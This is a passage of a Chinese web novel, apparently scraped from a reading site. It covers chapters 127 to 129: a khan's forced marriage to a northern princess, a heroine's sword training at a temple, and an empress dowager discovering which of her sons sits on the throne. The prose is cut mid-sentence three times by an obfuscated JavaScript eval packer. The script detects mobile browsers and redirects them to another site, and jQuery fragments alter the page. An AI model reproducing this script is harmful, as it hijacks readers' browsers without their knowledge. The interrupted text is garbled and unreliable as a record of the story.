肃安王手执玉龙,眸中浮出一抹恨色,“今日,我不是肃安王,我只是魏晗安。” 寒星怔了怔,随即明白了肃安王此行的目的。 “你是来给那个侍女报仇的?” “你知道就好。” “可是王爷,她并不是我杀的。” 肃安王一脸震惊,“你说什么?” “王爷有所不知,本汗平生从来不杀女人,那日我为了带走平乐公主,出剑重伤了陆奔和楚天琦,但那位侍女是自己撞过来的,她从我手中抢过青霜剑,狠狠刺向了自己。” “不可能,你在撒谎。” 寒星淡淡一笑,“王爷,你的武功固然不错,可是恕我冒犯,你未必能打得过我。所以,我没有必要骗你,至于说那位侍女为什么会自己寻死,我想,你应该比我更清楚。” 肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604650|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安王怔忡地立在当地,如遭雷击。 他一直以为,悠悠的死是因为寒星,今日才明白,原来是因为自己。 肃安王心痛难忍,当场喷出一口鲜血,单薄的红色浮在葱茏的大地上,他突然间想起了悠悠死前同他说的话,“我不配,王爷,我知道的,是我命不好,我不怨任何人……” 他的力气仿佛在这一瞬间被尽数抽离,他再也站立不住,整个人跪在地上,“悠悠……” 寒星叹了口气,牵着马,转身离开。 不远处的艾山快步赶来,“大汗,北疆公主来了,她一定要见你。” “北疆还派了谁过来?” “没了,就她一个人。” 寒星微微皱眉,“她自己来的?” “嗯。” “好吧,本汗去见见她。” 艾山帮寒星牵过踏雪玉狮,余光一瞥,瞧见了肃安王,不觉讶然道,“他怎么在这儿?是大魏皇帝让他来的吗?” “不,他来找我,是为了一点私人恩怨。” 艾山眼珠一转,“大汗,既然他并非皇帝派来出使西域的,那么他擅自来此,便有毁坏两国约定之嫌,这会子,他即便死在了这儿,大魏皇帝也说不出什么的。” 寒星回身扫了肃安王一眼,“此时动手,便是趁人之危,本汗还不屑于这样做。艾山,你找人盯着肃安王,若他走了便罢了,若他没走,便怪不得本汗了。” “是。” 寒星拍了拍艾山的肩膀,“走吧,我们去会会这位远道而来的北疆公主。” 王帐。 北疆公主达亚娜穿了一袭娇俏红裙,如瀑的长发随意披散开来,垂至腰际。 沙吾提围在她的身边,殷勤地给她倒了一碗马奶酒。 达亚娜看也不看,只问,“你们可汗呢?” “公主稍候,艾山已经去找大汗了,估计一会儿就到。” 说话间,寒星掀帘进来,达亚娜欢快地站起身来,“可汗,你回来啦。” “公主来我西域,可是有什么事吗?” “本公主是来找你提亲的。” 沙吾提的脸上先是闪过一丝愕然,随后又有了点惊喜。 艾山皱眉道,“公主为谁提亲,又是向谁提亲?” “我为自己提亲。”达亚娜冲寒星抬了抬下巴,“和他。” “公主好生健忘,本汗说过,本汗已经有了阏氏,今生今世都不可能再迎娶其他女子,公主还是趁早断了这个念想罢。” “是吗?”达亚娜轻嗤一声,“可我怎么听说,可汗的阏氏自从去了大魏,就再没回来过,一个女人不回家,要么就是有了新的男人,要么就是不爱原来的男人了,可汗气盖山河,是这世间难得一见的英雄豪杰,何必苦守一个不回家的女人呢?” 寒星不愿同她废话,“沙吾提,送客!” 沙吾提眼神呆滞,仿佛没有听见寒星的话,艾山拽了他一把,“喂,发什么呆呢,大汗和你说话呢。” “啊?大汗你说什么。” “派人把北疆公主送出西域。” “啊,是。”沙吾提冲达亚娜尴尬地笑了笑,“公主,请吧。” 达亚娜又羞又怒,一甩袖子,一把推开了沙吾提。 “用不着你送,本公主自己会走!” 沙吾提快步追了上去。 “公主!你等等我!” 127. 十年不了尘 六净寺。 人间四月芳菲尽,山寺桃花始盛开。[1] 灼灼桃花,逶迤而落,大片的粉红色倾泻一地,唯有树下的方寸之间曳动着一抹雪白。 席容烟衣袂翩翩,正在树下练剑,她的袖间藏着一柄玄铁软剑,屈之如钩,直之如弦。 出剑时,白光掠影,铿然有声,仿佛素练飞舞,风霜悬空。 一时,她练完了剑,转头冲站在石阶上的三乘大师扬了扬脸,“师傅,如何?” 她的笑靥撞进眼中,明媚如春光,温暖如朝阳。 三乘大师有片刻的失神,随即温和一笑,缓步下阶,“此剑和你颇有缘分,我把它送给你了。” 席容烟很是欢喜,她道了谢,抬指爱惜地抚过剑身,“师傅,此剑可有名字?” “还没有,你给它取一个吧。” 席容烟沉思半晌,“就叫忘川,可好?” “忘川?”三乘大师了然于心,“忘川之水,可以忘情,忘川之剑,断情绝念,好名字。” “师傅的佩剑叫什么名字呀。” “我不用剑。” “啊?那师傅若是与人交战,如何取胜?” 三乘大师淡淡一笑,“施主以为,剑术的最高境界是什么?” 席容烟的脑海中不自觉浮现出寒星使剑的身影,她脱口而出,“快!” “非也,用剑再快,也快不过浮光掠影,山外有山,人外有人,你总会遇到比你更快的。” “那是什么?” “人剑合一。” 席容烟豁然了悟,“所以师傅不是没有剑,而是师傅本身就是剑。” 话才出口,她突然意识到这话不大好听,连忙解释道,“不是不是,师傅,我不是说你贱啊,我是说,就是,呃……” 三乘大师被她的样子逗笑了,他摆了摆手,“好了好了,不必再说了,我明白你的意思。” 席容烟有些不好意思地低下头。 “形终有尽处,神识无灭时,手上的剑是有形之剑,而心中的剑则是无形之剑。” “我明白了,所以要用无形之剑去攻有形之剑,才能无往不胜。” 三乘大师微一颔首,“施主所言,正是这个道理。” “那我要何时才能练到此等境界?” “花醉三千客讲究以柔克刚,以无形化有形,绝不是一朝一夕就能练成的,更何况施主此前从未习武,乍然间想要学成怕是不容易。” “那要多久,我才能为我的家人报仇呢?” “施主所谓的仇人,可是上次在东宫与我交手的那位?” “嗯。” “施主可知,那日他同我说了什么?” “说了什么?” “他说,他希望我能将花醉三千客传授给施主,只有这样,施主才有机会打败他,他还说,他希望有朝一日,能够死在施主的手中,这样他就死而无憾了。” 席容烟的身子不自觉颤抖起来,三乘大师叹了口气,“他的霜寒十四州已经渐入佳境,施主若想与他一战,没有五六年的光景是做不到的,而且他在这五六年间也不可能一点长进都没有,施主若想打败他,只怕要至少潜心修炼十年,才能赢得一丝机会。” “十年?这么久呀。” “弹指一挥间,人生百年也不过一晃眼的工夫,十年时间听起来很长,其实很短的。” 山路杳杳,冷涧落落,席容烟立在山顶,眺望着远处冉冉升起的一缕炊烟。 “好,十年就十年,君子报仇,十年不晚。” 她的声音散在风中,没入重重叠叠的山隘。 三乘大师双手合十,念了声佛。 白云悠悠,翠汀深浅,她听见他说,“一念不生心澄然,无去无来不了尘——” 隆寿宫。 魏太后半眯着眼,闲闲歪在贵妃椅上小憩。 殿内点的旃檀香气味醇和,沁人心脾,她卧在这香气中,不自觉睡了过去。 门外的小丫鬟悄声说道,“云英姑姑,怡太妃来了。” 云英见魏太后似乎还睡着,便说,“先请她去偏殿坐坐。” 魏太后闻声抬了抬眼皮,“你们两个嘀咕什么呢?” 云英连忙上前回禀,“娘娘,怡太妃来了。” “请她进来。” “是。” 不一会儿,裴怡欢缓步走入殿中,她穿了一身蓝白宫装,打扮得甚是素净,她向魏太后恭敬施了一礼,“臣妾给太后娘娘请安,太后娘娘万福金安。” 魏太后没有起身,只是略抬了抬手,“起来吧,云英,给怡太妃赐座。” 云英捧了一个五瓣梅花绣墩过来,“太妃娘娘请坐。” 裴怡欢谢了恩,笑道,“劳动姑姑了。” “怡妹妹一向不喜热闹,今日怎么有雅兴出来走走。” “这不是快入夏了嘛,天气酷热,最容易不思饮食,因此臣妾特意调制了一份青绿饮,想着献给太后娘娘尝一尝,娘娘若觉得好喝,臣妾以后再做了送来。” 说着,裴怡欢接过木槿手中的掐丝珐琅食盒,从中取出一个莹白小碗。 木槿道,“回太后娘娘,我们娘娘为了这个,遍寻古方,佐以药膳,花费了好些日子,终于功夫不负有心人,得了这碗青绿饮,就连太医院的周坤尝了,也都赞不绝口呢。” 魏太后听了点点头,“怡妹妹有心了。” 云英上前欲接,裴怡欢却说,“还是让臣妾亲自服侍娘娘吧。” “也好。” 裴怡欢于是亲手捧了青绿饮,跪在脚踏上伺候魏太后饮下。 魏太后垂眸打量着她,她虽然穿得简单,却也别有一番清丽之姿,在这个群芳开无主的时节,她的神色恬淡,举止端雅,让人瞧着心旷神怡。 魏太后用帕子拭了拭嘴角,温和一笑,“入口清香,爽滑甘甜,其间还夹杂着一丝淡淡的草药气,的确是难得一见的佳品。” “娘娘喜欢就好,那臣妾明日做了,请太医看过,再给娘娘送来。” “好啊,有劳怡妹妹了。” “娘娘客气了。” 裴怡欢起身又是一伏,“若没有旁的事,臣妾就不打扰太后娘娘歇息了,臣妾告退。” 魏太后微一颔首,“云英,好生送怡太妃出去。” 一时,云英送完回来,她瞧着案上的空碗,纳罕道,“娘娘,您说这怡太妃巴巴地来了,就只为着一碗青绿饮,是不是有点奇怪。” “有什么好奇怪的。” “奴婢就是觉得有些小题大做,旁人也就罢了,偏偏是她,整个后宫里最不食人间烟火的主儿,奴婢打死也不相信,她来就是为了献上这个什么青绿饮。” 魏太后哂然一笑,“裴怡欢来找哀家,自然不是为着这个。” “那是为着什么?” “数月前,皇上处死了意欲篡权夺位的方承鹤,又陆陆续续处置了同他有过往来的一干人等,哀家听说,上元节当晚,方承鹤在缀锦楼大摆筵席,裴家的裴延敬可是赫然在列,他怎么可能不紧张呢。偏偏皇上不仅没有迁怒裴家,还给已经去了的裴家老太爷重新追加谥号,极尽哀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617665|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荣,又给裴怡欢提了位份,封为太妃。这么一来,裴怡欢自然要来探探哀家的口风,一则求个心安,二则也能表表忠心。” “可是她一个字儿都没往这上头提呀。” “大家都是聪明人,何必把话说得那么直白露骨,岂不是伤了感情和气。更何况,若是皇上和哀家真有处置裴家之心,哀家还敢吃她送来的东西吗?” 云英这才恍然大悟,“还是娘娘见事明白,奴婢佩服。” “哀家明不明白能如何呀,要紧的是皇上明白,就够了。” 云英一面给她捶腿,一面说道,“说来也是奇怪,皇上这些日子竟像是变了一个人似的,不要说对这些外臣了,便是对平日交好的几个王爷也都起了忌惮之心,就连一向以闲云野鹤自居的哲远王都被皇上打发到巴蜀之地了,任谁求情都不好使。” 魏太后叹了口气,“帝王之心本就难测,皇上此举,倒也在情理之中,哀家之前总担心皇上心慈面软,吃了亏去,如今皇上这样,哀家反倒放下心来。” “娘娘说的也是,就只是可怜了苏姑娘,她才嫁到王爷府,哲远王就要去蜀地任职了,那地方可偏得很,他们夫妻这一别,也不知道什么时候能再见面。苏姑娘平时那么活泼开朗的一个人,听说哲远王走时,哭得如同泪人一般,便是奴婢瞧了也是不忍心的。” “苏蕙菁虽然可怜,却也没什么好抱怨的,路都是她自己选的,自己选的路,即使跪着也要走完。不过哀家倒是不能不顾忌她的父亲苏方,这样吧,云英,你让她没事儿多往宫里走动走动,陪哀家说说话解解闷。” “是,奴婢明白。” 魏太后换了个姿势继续歪着,“听说肃安王擅自前往西域,被皇上狠狠斥责了?” “是呀,肃安王这么一走不要紧,就连袁将军也都跟着受了牵连。” “哦?为什么?” “皇上说袁将军不仅知情不报,还故意帮着肃安王遮掩隐瞒,很是该罚,如今皇上跟前就属那个秦川最得意了。”云英话锋一转,“不过说来也是奇怪,皇上虽然器重秦川,秦川却好像很怕皇上,比谁都更小心谨慎,生怕犯一丁点错。” 魏太后默了默,沉吟道,“常德宫最近可还有什么别的动静。” 云英想起一事,“倒还真有一件新闻。” “说。” 云英屏退左右,附耳低声回道,“皇上临幸了云风,听皇后娘娘身边的小丫鬟说,皇上似乎十分宠爱她,行止坐卧,皆在一处,只是还没给名分。” “什么?” “娘娘别急,许是谣传也未可知。” “哀家如何能不急,这话若从旁人嘴里说出来也就罢了,偏生是从林清婉身边的人嘴里说出来的。云英,你什么时候听见的,怎么不早点告诉哀家。” “就昨儿午后,奴婢原本想说来着,正好赶上贤太妃和淑太妃过来给娘娘请安,就忘了。” “罢了,云英,你现在就去请皇后过来,就说哀家有话问她。” “是。” 云英没走多远,便听魏太后唤道,“云英,回来。” 云英忙又折返回来,“娘娘还有什么吩咐吗?” 魏太后敛眉思忖半晌,叹气道,“罢了,等明儿她来请安再说吧,这会子叫她过来显得太刻意了。云英,哀家忽然有一个想头,一个很奇怪的想头。” “娘娘是指什么?” 魏太后摇摇头,“你去吩咐御膳房做几碟桃花糕来,明晚哀家要和皇上一块儿用膳。” 云英愣了愣,她没敢多问,应声下去传话去了。 128. 恩怨终须散 常德宫。 魏晗煜放下折子,“你说什么?母后让我晚上去她宫中用膳?” “是。” “母后今日可曾单独召见过什么人?” “好像没有吧……哦对了,早上皇后娘娘去请安时,太后娘娘留她说了一会子话。” “林清婉?”魏晗煜遽然起身,“走,我们先去偏殿。” 林清婉坐在烛下,正在绣花,她的贴身丫鬟欢儿陪在一旁,时不时称赞两句。 忽听得一阵疾促有力的脚步声传来,二人俱是一怔,抬眼看去,只见魏晗煜大步走来。 林清婉连忙丢下手里的活计,屈膝行礼,“臣妾参见陛下。” 魏晗煜面色不善,沉声道,“秦川,你领这些人都下去。” “是。” 林清婉见自己的丫鬟被带走了,心里一时有些慌乱,怯生生地问,“陛下,怎么了。” “你今日去隆寿宫请安时,都和母后说了什么?” “没,没什么呀。” 魏晗煜眯起眼睛,“真的没什么吗?” “臣妾怎敢欺瞒陛下,臣妾就是陪母后随便聊了聊天,后来时辰不早了,臣妾就告退了。” 魏晗煜长长“哦”了一声,忽然伸指勾住她的下巴,林清婉唬了一跳,她被迫抬眼看着他那双幽深莫测的丹凤眼,心突突直跳。 “嗤,既然皇后并没有说什么,为何在朕面前如此心虚?” “臣妾……啊……” 魏晗煜猛地加重了手上力道,“皇后,你还不跟朕说实话吗!” 林清婉到底年轻,从小又是在蜜罐里长大的,一向没什么心计,纵然魏太后教了很多遍,她一遇上魏晗煜,还是露馅了。 “陛下恕罪,母后问臣妾,臣妾不能不答呀。” “说,母后都问你什么了。” “母后问了云风的事,还问了……问了……” 林清婉吞吞吐吐,脸上羞红一片,魏晗煜不耐烦道,“问了什么?” “就是……那个事……” 魏晗煜瞧着她的模样,一下子明白过来,“你怎么说的?” 林清婉眼睫低垂,“陛下恕罪,臣妾不会撒谎,臣妾都和母后实话实说了。” 魏晗煜皱了皱眉,他虽然住进了常德宫,却从未碰过林清婉,因为他知道这是魏晗烨的女人,但现在,他脑子里突然有了一个大胆的猜测。 “朕,从来都没碰过你吗?” 林清婉抿着鲜红欲滴的唇瓣,微微摇头。 魏晗煜愣了愣,随即不禁笑了起来,心说,皇兄呀皇兄,你还真是个坐怀不乱的柳下惠。 他松开手,“行了,起来吧。” “陛下,臣妾是不是说错话了。” “没事,朕自有办法。”魏晗煜顿了顿,继续说,“不过,若是母后以后再问起此事,皇后,你要说我们之间已经有过夫妻之实了,不然万一传了出去,后位不稳,恐生变故。” 林清婉果然被他吓住,乖巧地点了点头,“是,臣妾记住了。” “记住就好。”魏晗煜拍了拍她的肩膀,“好了,朕走了。” 林清婉却突然扯住他袖子一角,嗫喏道,“陛下……” 魏晗煜回头看她,“怎么了?” “自从臣妾住进常德宫,陛下从未在臣妾这里留宿过,臣妾不知道自己究竟做错了何事,让陛下如此厌弃臣妾,还望陛下明白告知,臣妾一定努力改过。” 林清婉说着,双颊流下两行清泪,她本就生得娇小,此刻哭得梨花带雨,更是惹人怜爱。 魏晗煜心说,魏晗烨,这都是你干的好事! 他只得安慰道,“皇后,你听朕说,父皇新丧,朕虽然让你住进了常德宫,但朕没办法不顾人伦孝悌之义,立刻就与你行周公之礼,皇后,你能理解朕吗,你愿意等朕吗。” 林清婉先是一怔,继而破涕一笑,“臣妾明白了,臣妾愿意等。”她伸手握住他的手,柔声道,“和陛下一起。” 魏晗煜笑了笑,违心地说,“得妻如此,夫复何求。” 隆寿宫。 魏太后今日穿了一件明黄织金寿字缎长袍,她的头上挽着金镶玉凤凰瑞鸟衔珠钗,颊侧缀着金龙含东珠耳坠,腕上缠着红珊瑚念珠手串,打扮得颇为庄重。 魏晗煜立在门口,认真注视着她。 大殿内灯火通明,她坐在辉煌灿烂的光影里,身形稍显落寞。 魏晗煜叹了口气,上前行礼,“儿臣给母后请安。” 魏太后的目光落在魏晗煜的脸上,眸中渐渐有了些光彩。 “起来吧,坐。” 桌上饭菜已经齐备,魏晗煜才要动筷,却又觉得有些不妥,只见魏太后正凝视着自己。 “母后为何这样看着儿臣?” 魏太后没有说话,只是默默打量着他。 魏晗煜身着盘龙翟纹缂丝绫罗黑袍,鼻如斧刻,眼眸幽深,他的神色寂然无波,仿佛是从地狱中挣扎出来的苍老亡魂,已然看淡了尘世间的生与死。 一阵微风拂过,他身上萦绕的若有若无的苏合香渐次逸散开来,那是煜儿的味道。 许多没办法解释的事情在这一刻有了答案,魏太后终于明白了一切。 她鼻子一酸,几乎要流下泪来。 “母后?” 魏太后微微垂眸,再抬头时,脸上已经瞧不出一丝异样。 她不动声色地吩咐桃夭,“这桃花糕怎么做得这么粗糙,撤下去,让他们重做。” 云英不解,却也没敢多问,她将桃花糕端给小丫鬟,随即垂手侍在一旁。 “母后是不是有话要问,其实云风的事,儿臣一直——” 魏太后开口打断了他,“别说了,吃饭吧。” 魏晗煜怔了怔,干干应了一声,“好。” 魏太后有些疲惫地挥了挥手,云英会意,转身带着宫人们退了出去。 一时,殿内只剩下他们母子二人,魏晗煜吃得有些不自在,却又不敢表露分毫,他一面夹菜,一面同魏太后随意谈笑。 魏太后话很少,多数时候只是听着,很少开口说话。 魏晗煜知道魏太后在宫里熬了小半辈子,心里装了太多太多的事,因此也没多想。 等到吃得差不多的时候,他正准备告退,却听魏太后突然开口问道,“什么时候走?” 魏晗煜心中一惊,“母后此言何意?” 魏太后定定地看着他,眼中似是期盼,又似祈求,“煜儿,别走了,留下来吧。” 浮动在青玉百鸟朝凤连枝灯下的细碎金尘仿佛在这一瞬间有了生命,烛火轻曳,魏晗煜的思绪被摇摇欲坠的空气拉扯着,回到很久很久以前。 …… 记忆浮沉飘渺,他一只脚踏入过去的时空,看见一个活泼爱笑的小男孩扯着母亲的袖子撒娇,“母后,你理一理我嘛~” 女子华服披身,神情幽怨,“别烦本宫,自己玩去。” “母后~” 女子终于不耐烦,一巴掌甩了过去,“怎么就你话多,你就不能学学你哥哥吗!” 小男孩被吓得哇哇大哭。 女子的心狠狠地揪了一下,她蹲下身子,试图安抚小男孩,“对不起,母后——” 小男孩却一把推开她,哭着跑了出去。 小男孩的哭声没入烟尘,没了踪迹。 光影迷迷叠叠,他穿行其间,看见了那场可怕的宴会。 小男孩在宴会上吃了有毒的糕点,他昏迷数日,终于在一个清冷的早晨抬了抬眼皮。 侍女惊喜地喊道,“娘娘!醒了!醒了!” 女子踉跄地扑到榻边,握住了他的手,“煜儿。” 小男孩张了张嘴,“母后。” 女子一遍遍摩挲他的面颊,眼角滚下泪来,她咬着牙,艰难地说,“带他进去。” 侍女扶起小男孩,小男孩不明所以,他拖着虚弱的步子跟着侍女走进了黑黢黢的暗室,他害怕极了,大声呼喊着,“母后救我!” 可回应他的,却只有无尽的黑暗和骇人的死寂,还有隐约 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魏太后的唇瓣张张合合,她有好多话想对他说,她害怕她现在不说,以后就再也没机会说了,可她又怕自己说的太多,他会不耐烦。 魏太后尚在犹豫,眼见魏晗煜已经行完了礼,她慌了神,再顾不得许多,快步追了上去,从后面抱住魏晗煜,声音中夹杂着抑制不住的哭腔。 “煜儿,对不起,母亲从前的确做错过许多事,可母亲是爱你的,这一点,请你相信母亲。如今见到你还活着,母亲真的很开心,母亲不求你能原谅我,只希望你以后能过得好,过得很好,很好。” 魏晗煜措不及防,心中一时百感交集,等他回过神来时,脸上已是冰凉一片。 他没有说话,只是轻轻挣开她的怀抱,兀自推门离开。 魏太后望着他决绝而去的背影,整个人无力地滑跪在地,掩面痛哭。 云英闻声赶来,连忙伸手扶她,“哎呀,娘娘这是怎么了?” 泪水一滴滴打在明亮华贵的金砖上,不一会儿就汇聚出了一圈浸着烛光的昏黄。 魏太后微微摇头,她落在地上的影子裹着斑驳破碎的昏黄,渐次没入无声的黑夜。 东宫,暗室。 沉重的石门缓缓升起,魏晗煜走了进来。 魏晗烨好整以暇,上下打量着他。 魏晗煜把酒搁在二人中间,“你在这儿待得倒是逍遥。” “你怎么来了?” “我来是想告诉你一件事,皇祖母她老人家驾鹤西去了。” 魏晗烨一下子站起身来,“你说什么?” “皇祖母是含笑走的,她走得很安详,也算是寿终正寝了,我们应该为她高兴。” 魏晗烨默不作声,神情微微有些呆滞。 “下月初五是黄道吉日,你去西山送一送皇祖母吧。” “你让我去?” 魏晗烨一怔,随即反应过来。 “你要走了?” “嗯。” “为什么?晗煜,我不明白。” 魏晗煜笑了笑,“哪有那么多为什么,我自己都不知道为什么,又怎么回答你呢。” 魏晗烨诚恳地说,“晗煜,为了我,为了母后,为了你自己,留下来吧,你若愿意留下来,我可以在这儿隐姓埋名待一辈子,我绝对不会妨碍到你什么的。” “嗤,魏晗烨,我想来就来,想走就走,从来都不是你能决定的。我走之后,你就好好做你的皇帝吧。记住了,这一次,是我让给你的。” 说罢,魏晗煜饮尽杯中酒,转身便走。 他走到门口时,忽又站住,“哥,我知道,其实我不恨你,我做了这么多,只是想证明我不比你差。哥,保重。” 魏晗烨的喉结滚动了一下,他快步追了上去,“晗煜!” 可是石门已经关上了,魏晗烨用手撑着冰凉的石壁,低声说了句,“保重。” 129. 情字最难解 六净寺。 转眼已是六月,无心池开出了一大片的荷花。 席容烟坐在无心亭中,瞧着手中的忘川出神。 “想什么呢?” “啊,师傅。” 三乘大师负手立在池边,“两月有余,你的剑术却是并无多大长进,这样下去莫说十年了,便是二十年,三十年,你也打不赢他。” 席容烟面上羞惭,“是我天资不足,让师傅失望了。” 三乘大师久久无言,他背过身去,突然说,“他成亲了。” “谁?” “北疆王快要不行了,西域可汗迎娶北疆公主,西域和北疆从此合二为一,势力大增。” 席容烟的手不自觉地颤抖起来,“怎么会……” 是,她恨他,可她还是割舍不下他。 此刻听说他娶了别的女人,她只觉得,自己的心好痛好痛。 眼泪不争气地滑落脸颊,她扬了扬嘴角,挤出一抹自嘲的笑,“寒星,不过半年光景,你就娶了别人,好啊,真是太好了。” “佛经上说,三世有法,无有是处,许多事,其实施主早该放下。”[1] 席容烟抿了抿唇上的泪水,她从前在宰相府的时候,眼泪是苦的,后来和寒星在一起的时候,眼泪是甜的,而如今,这眼泪却没了味道。 “师傅,你不必劝我,我明白的,我只是需要一些时间,自己缓一缓就好了。” 三乘大师点点头,他没再说话,默默转身离开。 席容烟就这么不吃不喝,在亭中坐了整整一天一夜。 无心亭临水,入夜,风一吹,她感觉浑身上下都寒津津的。 席容烟抱着膝盖,缩在亭子一角。 四下里寂静无声,她埋着头,低声哭泣,也不知过了多久,她忽然觉得肩上一沉。 她错愕地抬头,只见三乘大师将自己的袈裟解下,披在了她的身上。 “师傅?” 三乘大师看见她眸中一闪而过的欢喜,叹气道,“天都快亮了,还不睡吗。” “我睡不着。” “施主何苦这样折磨自己。” 席容烟低下了头,“我也不想的,可惜我说了不算。师傅,你教教我,怎么能管住自己的心?” 三乘大师默了默,半晌方道,“既是施主的心,旁人就算说再多,也是无济于事,非得施主自己想通了,才能真正放下。” “也是。”她抬手擦了把眼泪,微仰起脸,望着漫天的澄澈光辉,喃喃道,“好亮呀,可为什么,我什么都看不见。” 三乘大师心中一动,却并没有说话。 他就这么陪着她,望了一夜的月亮,吹了一夜的池风,嗅了一夜的荷香。 东方渐次浮出一抹清冷的鱼肚白,席容烟活动了一下僵硬的四肢,突然笑了笑。 三乘大师侧头看她,她脸上的泪痕已经干了,像是两道车辙,通往不可预知的未来。 “师傅,我想通了,我们练剑吧。” “好。” 她扶着亭柱缓缓站起身来,她的双腿本来就是麻的,加之手上一滑,她险些摔在地上。 三乘大师连忙伸手去扶,他的手隔着薄如蝉翼的纱料,握住了她纤若无骨的皓腕。 他正在犹豫要不要松手,却见她用另一只手扶着他的胳膊,已经站了起来。 席容烟冲他温和一笑,“多谢。” 虽说男女授受不亲,但三乘大师是大魏远近闻名的得道高僧,他在人们心中,早已不是需要避讳的男子了,席容烟自然也不例外,所以她并不觉得他方才之举有何不妥。 三乘大师面上依旧平静,可心中却有了一种不同于以往的感觉,他往后退了一步,双手合十,“阿弥陀佛。” 西域。 西域娶亲,北疆嫁女,寒星和达亚娜的婚事一时间成为了整个大漠流传的一段佳话。 大婚日期定在了夏末秋初,高风疏叶,山青水远,这是漠北最好的时节。 一力促成此事的尧里瓦斯不顾病体,亲自率军将达亚娜迎了回来。 筵席十分热闹,觥筹交错间,寒星撑着笑容,接过众人敬来的一碗碗喜酒,仰头饮尽。 众人都很高兴,只有寒木知道寒星的心里有多苦。 寒木没有上前敬酒,因为他不忍心,没想到寒星却自己拎着酒壶找了过来。 寒星的脸因为喝酒的缘故,微微有些发烫。 他抬臂倒了两碗酒,朗声笑道,“木头,你不恭喜我吗?” 寒木没有作声,他拿起其中一碗,扬脖喝下。 寒星同他碰了一下碗,大口大口的灌进口中。 寒木注视着他,眼底尽是不忍。 寒星喝完了酒,抬袖胡乱擦了擦下巴,提壶又倒,“再来!” 寒木拉住他,“你不能再喝了。” 寒星牵动嘴角,努力扯出一抹笑来,“木头,如果是你,你会选择清醒克制的痛苦还是神志不清的快乐?” 寒木一怔,不由松开了手,他就这么看着寒星当着他的面,喝了一碗又一碗。 寒星最后真的醉了,他醉的不省人事,跪在地上吐了又吐,口中一遍遍唤着,“阿烟。” 寒木将他扶回王帐,达亚娜穿着大红色的喜服迎上前来,“将军,大汗这是怎么了?” “喝多了,今日大汗大婚,我不方便留在这里,就拜托你好生照看了,有什么事儿招呼一声就行,我就在帐外守着。” “将军放心,我是大汗明媒正娶的阏氏,我当然会好好照顾他。” 寒木微一挑眉,倒也没说什么,转身掀帘出去了。 达亚娜脱下寒星的衣袍,脸上是抑制不住的欢喜。 她抬指,轻轻摩挲着他硬朗疏俊的侧颊,“大汗,你终于是我的人了。” 寒星忽然伸手抓住她的手腕,一把将她拉入怀中。 达亚娜先是一惊,而后又是一喜,她把头埋在他的颈间,柔声笑道,“大汗急什么呀。” 寒星紧紧搂着她,口中说的却是,“阿烟,不要走。” 达亚娜愣住,继而眸中浮出一抹恨意,她猛地挣开寒星的怀抱。 寒星尚在梦中,他呓语连连,眼角泛起了一丝湿润的红,“阿烟,你恨我,对不对。” 达亚娜死死咬着下唇,努力不让自己骂出声来。 达亚娜明白,自己其实没什么好抱怨的,她从一开始就知道寒星不喜欢她,可她不在乎,只要他的身体在自己这儿就够了,至于他的心,她可以不管。 所以她利用沙吾提对自己的爱,在寒星的饮食中下了春药。 那时的寒星刚和席容烟分别,正沉浸在巨大的悲伤与痛苦之中,他体内的怜冰决再一次爆破开来,他也因此短暂的失去了五觉,就连酒水被人动过手脚也未曾发觉。 意乱情迷之下,寒星将达亚娜当成了席容烟,他近乎疯狂地吻她,达亚娜知道他认错了人,可她没有纠正,而是甘愿沉沦,她放下了北疆公主的自尊与骄傲,交出了一个女子最为宝贵的东西,因为她爱他,她愿意为他付出一切。 她想,他不过就是一个男人,是男人,就不可能不对自己动心。 可她没有想到,寒星在醒来之后态度冷淡,看向她的眼神更是充满厌恶。 他只说了一个字,“滚。” 达亚娜不甘心,她是北疆王的掌上明珠,是北疆最为尊贵的公主,更是漠北数一数二的美人,多少英雄豪杰拜倒在她的脚下,只求她能看他们一眼,可她都不屑一顾,她从始至终爱的唯有寒星一人。可是,她爱的人却偏偏不爱她。 可她有什么办法呢,寒星不要她,她只得回了北疆,但她万万没有想到,自己居然怀孕了,那时的北疆王已经病入膏肓,可他为了哄女儿开心,还是派使臣去了西域,说只要寒星迎娶达亚娜,他愿意以整个北疆作为公主的陪嫁。 这笔买卖实在太过划算,尧里瓦斯一力促成,再加上沙吾提、艾山等人斡旋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13651413|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中,寒星迫于多方压力,不得不应承了下来。 思及此处,达亚娜垂眸看着自己微微隆起的小腹,自言自语道,“大汗,你是这孩子的父亲,即便你不认我,你也不能不认你的孩子,我相信,早晚有一天,你会接受我的。” 十年后。 无心池中荷花谢,无心亭上琴声歇。 一曲毕,席容烟抬手止音,抱琴端坐亭中。 